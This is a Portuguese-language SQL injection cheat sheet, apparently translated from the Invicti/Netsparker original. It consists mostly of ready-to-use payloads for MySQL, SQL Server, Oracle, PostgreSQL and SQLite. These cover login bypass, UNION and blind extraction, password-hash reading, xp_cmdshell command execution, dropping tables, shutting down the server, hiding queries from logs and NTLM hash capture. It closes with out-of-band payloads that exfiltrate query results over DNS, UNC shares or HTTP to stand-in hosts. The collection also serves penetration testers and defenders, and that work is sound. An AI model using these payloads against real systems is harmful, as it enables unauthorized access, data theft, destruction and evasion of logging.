Cheat Sheet | Sql Injection | Solyd One
- Cheat Sheet | Sql Injection | Solyd One
Sobre a Invicti SQL injection cheat sheet
Esta cheat sheet tem sido a principal referência na web para payloads de injeção SQL desde que foi publicada pela primeira vez em 2015 no Netsparker. É um documento vivo em constante desenvolvimento e atualmente contém payloads e dicas para MySQL, Microsoft SQL Server, Oracle, PostgreSQL e SQLite. Como em qualquer cheat sheet, alguns exemplos podem não funcionar em todas as situações porque a injeção em ambientes reais variará conforme a configuração do servidor, o dialeto de SQL, o uso de parênteses, a framework da aplicação e instruções SQL inesperadas, estranhas e complexas.
Muitas vezes, uma injeção SQL bem-sucedida exige um payload ajustado para um sistema de banco de dados específico. A usabilidade do payload é indicada da seguinte forma:
- M = funciona em MySQL
- S = funciona em SQL Server
- P = funciona em PostgreSQL
- O = funciona em Oracle
- L = funciona em SQLite
- + = funciona potencialmente em outros bancos
Quando um payload funciona em v ários sistemas, você verá múltiplos símbolos:
- (MS) = funciona em MySQL e SQL Server
- (PO+) = funciona em PostgreSQL, Oracle e possivelmente outros bancos
SQL injection 101: Injetando comentários para manipular consultas
Comentários de linha
Coloque um comentário de linha no final para comentar o resto da consulta. Comentários de linha são tipicamente usados para ignorar o resto da consulta original, assim você não precisa se preocupar em garantir sintaxe válida após o ponto de injeção.
-- (SMPOL)
DROP sampletable;--
# (M)
DROP sampletable;#
Um exemplo comum é autenticar como admin:
Injeção no parâmetro de username com uma aspa simples: admin'--
SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
Se for bem-sucedido, isso fará login como o usuário admin porque o restante da consulta SQL após -- será ignorado.
Comentários inline
Você pode usar comentários inline para comentar o resto de uma consulta como nos comentários de linha (simplesmente não fechando o comentário). Eles também são úteis para manipular caracteres para contornar filtering/blacklisting, remover espaços e ofuscar consultas. No MySQL, você pode usar a sintaxe especial de comentários para detectar o banco e a versão.
Sintaxe genérica de comentário SQL:
/*Comment Here*/ (SMPOL)
Usos típicos de comentários inline:
- Ofuscação:
DROP/*comment*/sampletable - Quebrar uma keyword para evitar filtros:
DR/**/OP/*bypass blacklisting*/sampletable - Remover espaços:
SELECT/*avoid-spaces*/password/**/FROM/**/Members
Para MySQL apenas, use a sintaxe especial:
/*! MYSQL special comment format */ (M)
Esta sintaxe é perfeita para detectar que MySQL está sendo usado porque qualquer instrução dentro do comentário executará apenas no MySQL. Você pode até detectar a versão. O exemplo abaixo executará e gerará erro somente se o servidor usar MySQL na versão especificada ou superior:
SELECT /*!80027 1/0, */ 1 FROM tablename
Amostras clássicas de ataque de comentário inline
ID value: 10; DROP TABLE members /*
Simplesmente se livre do resto no final da consulta. Equivalente a 10; DROP TABLE members --
SELECT /*!80027 1/0, */ 1 FROM tablename
Gerará erro de divisão por zero se a versão do MySQL for superior a 8.0.27.
Amostras de detecção de versão do MySQL
ID value: /*!80027 10*/
ID value: 10
Você obterá a mesma resposta se a versão do MySQL for superior a 8.0.27.
SELECT /*!80027 1/0, */ 1 FROM tablename
Lançará um erro de divisão por zero se a versão do MySQL for superior a 8.0.27.
Empilhamento de consultas (Stacking queries)
Empilhar significa executar mais de uma consulta em uma transação. Esta técnica pode ser muito útil, mas só funciona para algumas combinações de servidor de banco e método de acesso:
; (MSP)
SELECT * FROM members; DROP members--
Quando bem-sucedido, isso encerra uma consulta e inicia outra.
Observação: os resultados da segunda consulta (e quaisquer adicionais) não são retornados para a aplicação. Você precisa usar métodos de blind SQL injection para confirmar que a segunda consulta está funcionando, como um atraso, consulta DNS, etc.
Amostras de ataques com consultas empilhadas
ID value: 10;DROP members --
SELECT * FROM products WHERE id = 10; DROP members--
Isso executará DROP members após a consulta SQL normal.
Instruções IF
Obtenha resposta com base em uma instrução IF. Esta é uma das técnicas-chave para Blind SQL Injection. Também é muito útil para testar coisas simples de forma cega porém precisa.
IF no MySQL
IF(condition,true-part,false-part) (M)
SELECT IF(1=1,'true','false')
IF no SQL Server
IF condition true-part ELSE false-part (S)
IF (1=1) SELECT 'true' ELSE SELECT 'false'
IF no Oracle
BEGIN
IF condition THEN true-part; ELSE false-part; END IF; END; (O)
IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;
IF no PostgreSQL
SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P)
SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END;
IF no SQLite
iif(condition, true-part, false-part) (L)
SELECT iif(1<2, "True", "False");
Amostras de ataque com IF
if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
Isso gerará erro de divisão por zero se o usuário atualmente logado não for sa ou dbo.
Uso de inteiros
Muito útil para contornar magic_quotes() e técnicas semelhantes de filtering/escaping, incluindo filtros de web application firewall (WAF).
0xHEXNUMBER (SM)
Você pode usar valores hexadecimais em consultas assim:
SELECT CHAR(0x66) (S)
SELECT 0x5045 (M) -- isto não é um inteiro e sim uma string baseada no valor hex…
SELECT 0x50 + 0x45 (M) -- …mas isto agora é um inteiro!
Você pode usar esta técnica em comparações, por exemplo:
' OR 0x20 + 0x10 = 0x30 -- -
Operações com strings
Operações com strings podem ser úteis para construir injeções sem usar aspas, contornar blacklisting ou determinar o tipo do banco de dados de backend.
Concatenação de strings
+ (S)
SELECT login + '-' + password FROM members
|| (*MO)
SELECT login || '-' || password FROM members
No MySQL, o exemplo acima só funciona se ele estiver em modo ANSI. Caso contrário, MySQL tratará || como operador lógico e retornará 0. Uma forma melhor é usar CONCAT() no MySQL:
CONCAT(str1, str2, str3, ...) (M)
SELECT CONCAT(login, password) FROM members
Strings sem aspas
Além de algumas maneiras diretas de especificar strings, você sempre pode usar CHAR() (MS) e CONCAT() (M) para gerar uma string sem aspas.
String a partir de representação hexadecimal
0x457578 (M): retorna uma string baseada na representação hex
SELECT 0x457578
No MySQL isso será selecionado como string.
Truque fácil para gerar hex de strings no MySQL:
SELECT CONCAT('0x',HEX('c:\\boot.ini'))
Uso de funções de string
Todos os exemplos abaixo retornam a string KLM:
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
SELECT CHR(75)||CHR(76)||CHR(77) (O)
SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)
Exemplo de SQLi baseada em hex
SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
Isso exibirá o conteúdo de c:\boot.ini.
Funções utilitárias de string
ASCII() (SMPO)
-- Retorna o valor ASCII do primeiro caractere (útil para blind SQLi)
SELECT ASCII('a')
CHAR() (SM)
-- Retorna um caractere baseado no seu valor ASCII
SELECT CHAR(64)
CHR() (P)
-- Retorna um caractere baseado no seu valor ASCII
SELECT CHR(64)
Injeções com UNION
Com a instrução UNION, você pode executar consultas SQL entre tabelas. Basicamente, injetando UNION, você envenena uma consulta para retornar registros de outra tabela.
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
Esta consulta combinará resultados das tabelas news e members e retornará todos eles.
Um payload de exemplo:
' UNION SELECT 1, 'anotheruser', 'any string', 1--
Lidando com questões de locale em injeções UNION
Ao explorar injeções UNION, às vezes você pode obter erros por configurações de idioma diferentes (locales em tabela/campo/banco). Não é comum, mas pode ocorrer em aplicações que armazenam dados com encodings diferentes. Alguns truques:
-
SQL Server (S) Use
COLLATE, por exemplo:SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members -
MySQL (M) Use
HEX()para lidar com problemas de encoding.
Contornando telas de login (SMO+)
SQL injection 101 — aqui estão alguns truques típicos para campos de formulário e parâmetros:
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
Outro truque é autenticar como um usuário diferente (SM*):
' UNION SELECT 1, 'anotheruser', 'any string', 1--
Contornando logins que usam senhas hash
Poucas aplicações ainda armazenam senhas em texto puro. Se você quiser contornar a autenticação fornecendo sua própria senha com UNION, você precisará fazer hash da senha antes de substituí-la. Muitos algoritmos existem; por simplicidade, os exemplos abaixo usam o obsoleto MD5.
Uma aplicação pode verificar credenciais obtendo primeiro o registro do usuário pelo nome e em seguida checando se o hash da senha de entrada confere. Você pode fazer UNION com uma senha conhecida e o MD5 desta senha. A aplicação então comparará sua senha e seu MD5 fornecido em vez do valor do banco.
Exemplo de contornar verificação MD5 (MSP)
Username: admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
Password: 1234
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
Métodos baseados em erro para descobrir informações de colunas
Encontrando nomes de colunas com HAVING e GROUP BY (baseado em erro) (S)
Tente os payloads na ordem especificada:
' HAVING 1=1 -- (dispara erro 1)
' GROUP BY table.columnfromerror1 HAVING 1=1 -- (erro 2)
' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 -- (erro 3)
…
' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 --
Quando você parar de receber erros, terminou.
Descobrindo o número de colunas em um SELECT usando ORDER BY (MSO+)
Descobrir o número de colunas com ORDER BY pode acelerar a SQLi com UNION. Tente:
ORDER BY 1--
ORDER BY 2--
…
ORDER BY N--
Continue até obter um erro — isso indica o número de colunas selecionadas.
Dicas e truques para UNION baseado em erro
- Sempre use
UNION ALL, pois você pode ter tipos de campo não distintos.UNIONpadrão tenta deduplicar. - Para remover registros indesejados da tabela da esquerda, você pode usar
-1ou um registro inexistente no início (somente ao injetar noWHERE). - Para a maioria dos tipos, você pode usar
NULLem injeçõesUNIONem vez de adivinhar se a coluna é string, date, integer etc. - Em situações blind, verifique se o erro vem do banco e não da aplicação (por exemplo, ASP.NET tende a lançar erros ao lidar com
NULL).
Maneiras de descobrir o tipo da coluna
Use sum() para provocar erros em tipos não numéricos:
' UNION SELECT sum(columntofind) from users-- (S)
Exemplo de erro:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
Se não der erro, a coluna é numérica.
Você também pode usar cast() ou convert() de forma similar, por exemplo:
SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, ... --
11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- -- Sem erro: sintaxe ok e MS SQL Server usado
11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –- -- Sem erro: primeira coluna é inteiro
11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
Microsoft OLE DB Provider for SQL Server error '80040e07'
Explicit conversion from data type int to image is not allowed.
-- Erro! Segunda coluna não é inteiro
11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 –- -- Sem erro: segunda coluna é string
11223344) UNION SELECT 1,'2',3,NULL WHERE 1=2 –- -- Erro! terceira não é inteiro…
Você obterá erros de convert() antes de erros do destino do UNION, então comece com convert() e só depois faça UNION.
Payload simples de INSERT
Embora SELECT seja normalmente preferido por ser não-destrutivo, uma injeção INSERT em tabela de usuários pode permitir adicionar novo usuário, de preferência com permissões elevadas:
'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/* (MSO+)
Descoberta de versão do banco
@@version (MS)
-- Retorna versão e outras informações de SQL Server
-- constante: pode ser selecionada como qualquer coluna
INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)
version() (P)
UNION SELECT NULL, version(), NULL
sqlite_version() (L)
UNION SELECT NULL,sqlite_version(),NULL;
PRODUCT_COMPONENT_VERSION (O)
SELECT version FROM PRODUCT_COMPONENT_VERSION WHERE product LIKE 'Oracle Database%';
Inserção em massa a partir de arquivo (S)
Inserir o conteúdo de um arquivo em uma tabela permite navegar por arquivos locais quando você só tem acesso ao banco. Em IIS antigo (até IIS6), se você não sabe o caminho interno da aplicação, pode ler %systemroot%\system32\inetsrv\MetaBase.xml, carregar em tabela e procurar o caminho.
Para ler o conteúdo de um arquivo:
CREATE TABLE foo( line varchar(8000) )
BULK INSERT foo FROM 'c:\inetpub\wwwroot\login.asp'
Depois, derrube a tabela temporária e repita para outro arquivo.
Utilitários do SQL Server
O utilitário bcp (Bulk Copy Program) (S)
Usando bcp, você pode carregar arquivos em uma tabela ou gravar dados de tabela em arquivo. Credenciais de login são necessárias.
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
Usando VBS e WSH (S)
O suporte a ActiveX no SQL Server permite usar VBS e WSH. Exemplo:
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Para injetar isso em um campo username:
'; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --
Stored procedures do SQL Server
Executando comandos de sistema com xp_cmdshell (S)
Truque conhecido para injeção de comando, mas com dois requisitos:
- Desabilitado por padrão no SQL Server 2005 — é preciso habilitar (abaixo).
- Você precisa de acesso de admin para habilitar.
Payload típico para abrir o prompt:
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
Checagem com ping:
EXEC master.dbo.xp_cmdshell 'ping example.com'
Observação: você não pode ler o resultado deste
EXECdiretamente de um erro,UNION, etc.
Habilitando xp_cmdshell no SQL Server 2005 (S)
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
Operações no Registro do Windows (S)
Há stored procedures para operações diversas no Registro (algumas não documentadas):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
Exemplos de payloads para ler valores:
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
Outras stored procedures úteis no SQL Server (S)
-
Gerenciar serviços:
xp_servicecontrol -
Listar m ídias:
xp_availablemedia -
Listar recursos ODBC:
xp_enumdsn -
Gerenciar modo de login:
xp_loginconfig -
Criar arquivos CAB:
xp_makecab -
Listar domínios:
xp_ntsec_enumdomains -
Terminar processo (precisa do PID):
xp_terminate_process -
Escrever HTML em caminho UNC/interno:
sp_makewebtask -
Adicionar nova proc (executar código arbitrário):
sp_addextendedproc 'xp_webserver', 'c:\temp\x.dll'
exec xp_webserver
System views úteis no SQL Server (S)
-
Mensagens de erro:
master..sysmessages -
Servidores vinculados:
master..sysservers -
Logins e senhas (SQL Server 2000/2005 usam algoritmo similar e crackable)
- SQL Server 2000:
masters..sysxlogins - SQL Server 2005:
sys.sql_logins
- SQL Server 2000:
Técnicas úteis para exploração adicional do MSSQL
- Info detalhada do processo atual:
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/ - Checar sucesso de comando disparando erro condicional:
DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0 - Obter host do servidor SQL:
HOST_NAME() - Checar se usuário é membro de grupo:
IS_MEMBER - Checar se tem role específica:
IS_SRVROLEMEMBER - Abrir conexões remotas:
OPENDATASOURCE,OPENROWSET
Lembre-se: não é possível usar sub-selects em
INSERTno SQL Server.
SQL injection em LIMIT (M) ou ORDER (MSO)
SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;
Se injetar no segundo valor do LIMIT, você pode comentá-lo ou usá-lo em seu UNION.
Desligando o SQL Server (S)
Eventualmente útil. Para desligar o servidor de banco, injete:
';shutdown --
Encontrando e manipulando a estrutura do banco no SQL Server (S)
Obtendo tabelas definidas pelo usuário (S)
Use as tabelas/visões de sistema:
SELECT name FROM sysobjects WHERE xtype = 'U'
SELECT TOP 1 name FROM sys.objects WHERE type = 'U'
Obtendo nomes de colunas (S)
SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')
ou (novas visões):
sys.columns e sys.objects
Movendo registros (S)
Técnica eficaz: modificar WHERE e usar NOT IN ou NOT EXIST:
... WHERE users NOT IN ('First User', 'Second User')
SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)
Truques dirty para enumeração de colunas:
SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (
SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3)
as int as p where p.x=3) as int
Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id)
AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21
SQLi baseada em erro no SQL Server: extração rápida de dados (S)
Amostra que combina variáveis e consultas às tabelas de sistema para extrair dados em tabela temporária:
';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE
id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS')
AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--
';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM sys.columns WHERE
id =(SELECT id FROM sys.objects WHERE name = 'MEMBERS')
AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--
Encontrando a estrutura do banco no MySQL (M)
Obtendo tabelas definidas pelo usuário (M)
SELECT table_name FROM information_schema.tables WHERE table_schema = 'databasename'
Obtendo nomes de colunas (M)
SELECT table_name, column_name FROM information_schema.columns WHERE table_name = 'tablename'
Encontrando a estrutura do banco no Oracle (O)
Obtendo tabelas definidas pelo usuário (O)
SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Obtendo nomes de colunas (O)
SELECT * FROM all_col_comments WHERE TABLE_NAME = 'TABLE'
Blind SQL injections
Em qualquer aplicação de produção decente, você geralmente não vê respostas de erro na página. Isso elimina extração direta via ataques error-based. Nestes casos, você usa blind SQLi para extrair dados. Existem dois tipos básicos:
- Blind normal: você não vê a resposta diretamente, mas consegue determinar o resultado via resposta ou código HTTP.
- Totalmente blind: você não consegue ver efeitos da injeção em nenhum output. Menos comum (por exemplo, injeção em função de logging).
No blind normal, use instruções IF ou abuse de WHERE, o que é mais simples. No totalmente blind, use alguma função de espera e analise tempos de resposta.
Exemplos de funções de espera/timeout:
WAITFOR DELAY '0:0:10'no SQL ServerBENCHMARK()esleep(10)no MySQLpg_sleep(10)no PostgreSQL- No Oracle, truques em PL/SQL para mesmo efeito.
Exemplo real de ataque blind automatizável
Saída de uma ferramenta private blind SQLi ao explorar app com SQL Server e enumerar nomes de tabelas. As consultas determinam o valor ASCII de um caractere via busca binária — série de perguntas sim/não sobre faixas de valores.
As consultas a seguir foram executadas para rastrear o primeiro caractere (TRUE/FALSE indicam o resultado lógico):
TRUE: SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--
FALSE: SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--
TRUE: SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE: SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--
TRUE: SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE: SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--
TRUE: SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE: SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--
FALSE: SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
Como as duas últimas falharam, sabemos que 80 é o ASCII do primeiro caractere — o nome da tabela começa com P. Assim, você explora blind SQLi usando busca binária. Outro método é ler dados bit a bit. Se tiver feedback direto, percorra uma lista fixa de caracteres. Se o único indicativo de sucesso forem tempos diferentes (ou app lenta), use um algoritmo como acima.
Maneiras de fazer o banco esperar/dormir para blind SQLi
Use payloads baseados em tempo somente para totally blind. Para blind normal, prefira métodos booleanos.
Cuidado com tempos > 20–30s — a conexão pode expirar.
WAITFOR DELAY (S)
Como um sleep — maneira segura de fazer o banco esperar:
WAITFOR DELAY '0:0:10'--
WAITFOR DELAY '0:0:0.51'
Payloads com WAITFOR DELAY:
-
Checar se somos sysadmin:
if (select user) = 'sa' waitfor delay '0:0:10' -
Injetando atraso em
WHERE ProductID = '1':1;waitfor delay '0:0:10'--
1);waitfor delay '0:0:10'--
1';waitfor delay '0:0:10'--
1');waitfor delay '0:0:10'--
1));waitfor delay '0:0:10'--
1'));waitfor delay '0:0:10'--
BENCHMARK() (M)
Função destinada a timing de performance; pode ser abusada para sleep. Consome CPU — aumente gradualmente.
BENCHMARK(repeticoes, expressao)
Exemplos:
IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
pg_sleep() (P)
SELECT pg_sleep(10); -- 10 segundos
sleep() (M)
SELECT sleep(10);
dbms_pipe.receive_message() (O)
(SELECT CASE WHEN (NVL(ASCII(SUBSTR((sua-consulta-injetada-aqui),1,1)),0) = 100)
THEN dbms_pipe.receive_message(('xyz'),10)
ELSE dbms_pipe.receive_message(('xyz'),1) END FROM dual)
Se a condição for verdadeira, a resposta chega após 10s; se falsa, 1s.
Como ataques de SQLi podem ser escondidos dos logs
Bypass de log do SQL Server usando sp_password (S)
Por segurança, SQL Server não registra consultas que incluam sp_password (usada para alterar senhas). Isso pode ser abusado para impedir que certas consultas sejam logadas pelo banco — simplesmente anexar --sp_password a uma consulta pode contornar o log. Observe que a requisição ainda aparecerá nos logs do servidor web se injetar em parâmetro GET (mas não POST).
Testes para verificar se SQL injection é possível
Checagens rápidas para determinar blind SQLi:
Tentando injetar em product.asp?id=4 (SMO):
product.asp?id=5-1 -- retorna o resultado de id=4
product.asp?id=4 OR 1=1
Tentando injetar em product.asp?name=Book:
product.asp?name=Bo'%2b'ok
product.asp?name=Bo' || 'ok (apenas MO)
product.asp?name=Book' OR 'x'='x
Dicas e truques para trabalhar com MySQL
Trabalhando com usuários
SELECT User,Password FROM mysql.user;
SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = 'root';
SELECT ... INTO DUMPFILE -- escreve resultado em novo arquivo (não modifica existentes)
SELECT USER();
SELECT password,USER() FROM mysql.user;
Abusando de User-Defined Functions (UDF)
create function LockWorkStation returns integer soname 'user32';
select LockWorkStation();
create function ExitProcess returns integer soname 'kernel32';
select exitprocess();
Obtendo o primeiro byte do hash de senha do admin
SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
Lendo arquivo
query.php?user=1+union+select+load_file(0x63...),1
Preenchendo tabela a partir de arquivo com LOAD DATA INFILE
(não disponível por padrão, precisa habilitar local_infile)
CREATE TABLE foo( line blob );
LOAD DATA INFILE 'c:/boot.ini' INTO TABLE foo;
SELECT * FROM foo;
Mais truques baseados em tempo no MySQL
select benchmark( 500000, sha1( 'test' ) );
query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1
select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
Enumeração brute-force
select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );
Funções úteis do MySQL
MD5()
SHA1()
PASSWORD()
ENCODE()
COMPRESS() -- útil para comprimir dados, especialmente ao ler binários grandes via blind SQLi
ROW_COUNT()
SCHEMA()
VERSION() -- igual a @@version
SQL injections de segunda ordem (Second-order)
Na second-order SQLi, seu payload injetado é armazenado pela aplicação e depois usado em algum lugar, de preferência sem filtro porque não se esperava SQLi ali. É um problema comum de camada oculta.
Exemplo: app que cria conta de usuário. Tente injeção no campo nome:
Name: ' + (SELECT TOP 1 password FROM users ) + '
Email: xx@xx.com
Se a aplicação usar o valor do nome de forma insegura em stored procedure, função ou processo, ela armazenará a primeira senha de usuário como seu nome.
Forçando o SQL Server a obter hashes NTLM
Este ataque pode ajudar a obter a senha Windows do usuário do SQL Server no servidor alvo quando sua conexão de entrada é bloqueada por firewall. Útil em testes internos.
O truque é forçar o SQL Server a conectar no seu compartilhamento UNC e então capturar dados NTLM com ferramenta como Cain & Abel.
Bulk insert de um compartilhamento UNC (S)
Você pode inserir dados não só de arquivo local, mas também de UNC:
BULK INSERT foo FROM '\\your-ip-address\C$\x.txt'
Ataques por canal out-of-band (OOB)
Uma SQLi out-of-band é feita quando você precisa exfiltrar dados por um canal diferente do usado para a injeção. DNS é um dos mais comuns, pois raramente é bloqueado.
OOB para SQL Server
Ambos os exemplos enviarão uma requisição de resolução DNS para SUA-INJECAO-AQUI.example.com:
?vulnerableParam=1; SELECT * FROM OPENROWSET('SQLOLEDB', (SUA-INJECAO-AQUI)+'.example.com';'sa';'pwd', 'SELECT 1')
?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = '\\'+(SUA-INJECAO-AQUI)+'.example.com\\test.txt'; EXEC master..xp_dirtree @q
OOB para MySQL (Windows)
Os payloads abaixo tentam acessar compartilhamentos UNC, então só funcionam em Windows (Linux não oferece suporte nativo). Além disso, funciona se secure_file_priv estiver vazio.
-
Envia requisição NBNS/DNS para
SUA-INJECAO-AQUI.yourhost.com:?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat('\\\\',(SUA-INJECAO-AQUI), 'example.com\\'))) -
Grava dados no seu compartilhamento/arquivo:
?vulnerableParam=-99 OR (SELECT (SUA-INJECAO-AQUI) INTO OUTFILE '\\\\example.com\\share\\output.txt')
OOB para Oracle
-
Enviando resultados ao seu logger HTTP:
?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/log.php?response='||(SUA-INJECAO-AQUI)||'') FROM DUAL) -
Salvando resultados nos logs de acesso HTTP:
?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ '||(SUA-INJECAO-AQUI)||'.html') FROM DUAL) -
Duas formas de enviar resultados via DNS para
yourhost.com:?vulnerableParam=(SELECT UTL_INADDR.get_host_addr((SUA-INJECAO-AQUI)||'.example.com') FROM DUAL)
?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT((SUA-INJECAO-AQUI)||'.example.com',80) FROM DUAL)